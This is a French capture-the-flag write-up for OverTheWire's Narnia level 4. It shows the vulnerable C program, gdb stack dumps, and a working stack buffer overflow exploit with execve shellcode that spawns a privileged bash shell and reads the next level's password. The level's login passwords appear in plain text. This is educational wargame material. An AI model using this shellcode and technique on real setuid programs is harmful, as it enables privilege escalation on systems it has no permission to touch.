====== Level 4 ======

<code>
ssh narnia4@narnia.labs.overthewire.org
pass : thaenohtai
</code>

<code C>
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include <ctype.h>

extern char **environ;

int main(int argc,char **argv){
	int i;
	char buffer[256];

	for(i = 0; environ[i] != NULL; i++)
		memset(environ[i], '\0', strlen(environ[i]));

	if(argc>1)
		strcpy(buffer,argv[1]);

	return 0;
}
</code>

Buffer stack overflow classique, si vous avez l'habitude d'utiliser les variables d'environnement pour mettre votre shellcode cela ne va pas être possible ici : il est entièrement mis à ''NULL'' ! On va donc mettre directement notre shellcode dans ''buffer'' et sauter dessus :)

<code ASM>
gdb$ r $(python -c 'print "\xcc"*272+"BBBB"')

Program received signal SIGSEGV, Segmentation fault.
--------------------------------------------------------------------------[regs]
  EAX: 00000000  EBX: F7FD2FF4  ECX: 00000000  EDX: FFFFD919  o d I t s Z a P c 
  ESI: 00000000  EDI: 00000000  EBP: CCCCCCCC  ESP: FFFFD620  EIP: 42424242
  CS: 0023  DS: 002B  ES: 002B  FS: 0000  GS: 0063  SS: 002BError while running hook_stop:
Cannot access memory at address 0x42424242
0x42424242 in ?? ()
gdb$ x/200x $esp
0xffffd620:	0x00000000	0xffffd6c4	0xffffd6d0	0xf7fdf420
0xffffd630:	0xffffffff	0xf7ffcff4	0x0804827a	0x00000001
0xffffd640:	0xffffd680	0xf7fedd61	0xf7ffdad0	0xf7fd72e8
0xffffd650:	0x00000001	0xf7fd2ff4	0x00000000	0x00000000
0xffffd660:	0xffffd698	0x5326f6a1	0x7db14eb1	0x00000000
0xffffd670:	0x00000000	0x00000000	0x00000002	0x080483a0
0xffffd680:	0x00000000	0xf7ff3f70	0xf7e89d5b	0xf7ffcff4
0xffffd690:	0x00000002	0x080483a0	0x00000000	0x080483c1
0xffffd6a0:	0x08048454	0x00000002	0xffffd6c4	0x08048500
0xffffd6b0:	0x08048560	0xf7feed80	0xffffd6bc	0xf7ffd918
0xffffd6c0:	0x00000002	0xffffd7f4	0xffffd804	0x00000000
0xffffd6d0:	0xffffd919	0xffffd929	0xffffd93d	0xffffd95e
0xffffd6e0:	0xffffd971	0xffffd984	0xffffd991	0xffffde81
0xffffd6f0:	0xffffde8c	0xffffde98	0xffffdee5	0xffffdefc
0xffffd700:	0xffffdf0b	0xffffdf17	0xffffdf28	0xffffdf31
0xffffd710:	0xffffdf44	0xffffdf4c	0xffffdf5c	0xffffdf71
0xffffd720:	0xffffdfa6	0xffffdfc6	0x00000000	0x00000020
0xffffd730:	0xf7fdf420	0x00000021	0xf7fdf000	0x00000010
0xffffd740:	0x17898175	0x00000006	0x00001000	0x00000011
0xffffd750:	0x00000064	0x00000003	0x08048034	0x00000004
0xffffd760:	0x00000020	0x00000005	0x00000007	0x00000007
0xffffd770:	0xf7fe0000	0x00000008	0x00000000	0x00000009
0xffffd780:	0x080483a0	0x0000000b	0x000036b4	0x0000000c
0xffffd790:	0x000036b4	0x0000000d	0x000036b4	0x0000000e
0xffffd7a0:	0x000036b4	0x00000017	0x00000000	0x00000019
0xffffd7b0:	0xffffd7db	0x0000001f	0xffffdfe8	0x0000000f
0xffffd7c0:	0xffffd7eb	0x00000000	0x00000000	0x00000000
0xffffd7d0:	0x00000000	0x00000000	0x08000000	0x5b4ce26c
0xffffd7e0:	0x85af5645	0x503435d7	0x69632138	0x00363836
0xffffd7f0:	0x00000000	0x706d742f	0x2f346e2f	0x6e72616e
0xffffd800:	0x00346169	0xcccccccc	0xcccccccc	0xcccccccc
0xffffd810:	0xcccccccc	0xcccccccc	0xcccccccc	0xcccccccc
0xffffd820:	0xcccccccc	0xcccccccc	0xcccccccc	0xcccccccc
0xffffd830:	0xcccccccc	0xcccccccc	0xcccccccc	0xcccccccc
0xffffd840:	0xcccccccc	0xcccccccc	0xcccccccc	0xcccccccc
0xffffd850:	0xcccccccc	0xcccccccc	0xcccccccc	0xcccccccc
0xffffd860:	0xcccccccc	0xcccccccc	0xcccccccc	0xcccccccc
0xffffd870:	0xcccccccc	0xcccccccc	0xcccccccc	0xcccccccc
0xffffd880:	0xcccccccc	0xcccccccc	0xcccccccc	0xcccccccc
0xffffd890:	0xcccccccc	0xcccccccc	0xcccccccc	0xcccccccc
0xffffd8a0:	0xcccccccc	0xcccccccc	0xcccccccc	0xcccccccc
0xffffd8b0:	0xcccccccc	0xcccccccc	0xcccccccc	0xcccccccc
0xffffd8c0:	0xcccccccc	0xcccccccc	0xcccccccc	0xcccccccc
0xffffd8d0:	0xcccccccc	0xcccccccc	0xcccccccc	0xcccccccc
0xffffd8e0:	0xcccccccc	0xcccccccc	0xcccccccc	0xcccccccc
0xffffd8f0:	0xcccccccc	0xcccccccc	0xcccccccc	0xcccccccc
0xffffd900:	0xcccccccc	0xcccccccc	0xcccccccc	0xcccccccc
0xffffd910:	0xcccccccc	0x42424242	0x00000000	0x00000000
</code>

Nous pouvons donc par exemple sauter à l'adresse ''0xffffd830''.

<code>
narnia4@melissa:/tmp/n4$ ./narnia4 $(python -c 'print "\x90"*239+"\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80"+"\x30\xd8\xff\xff"')
bash-4.2$ id
uid=14004(narnia4) gid=14004(narnia4) euid=14005(narnia5) groups=14005(narnia5),14004(narnia4)
bash-4.2$ cat /etc/narnia_pass/narnia5
faimahchiy
</code>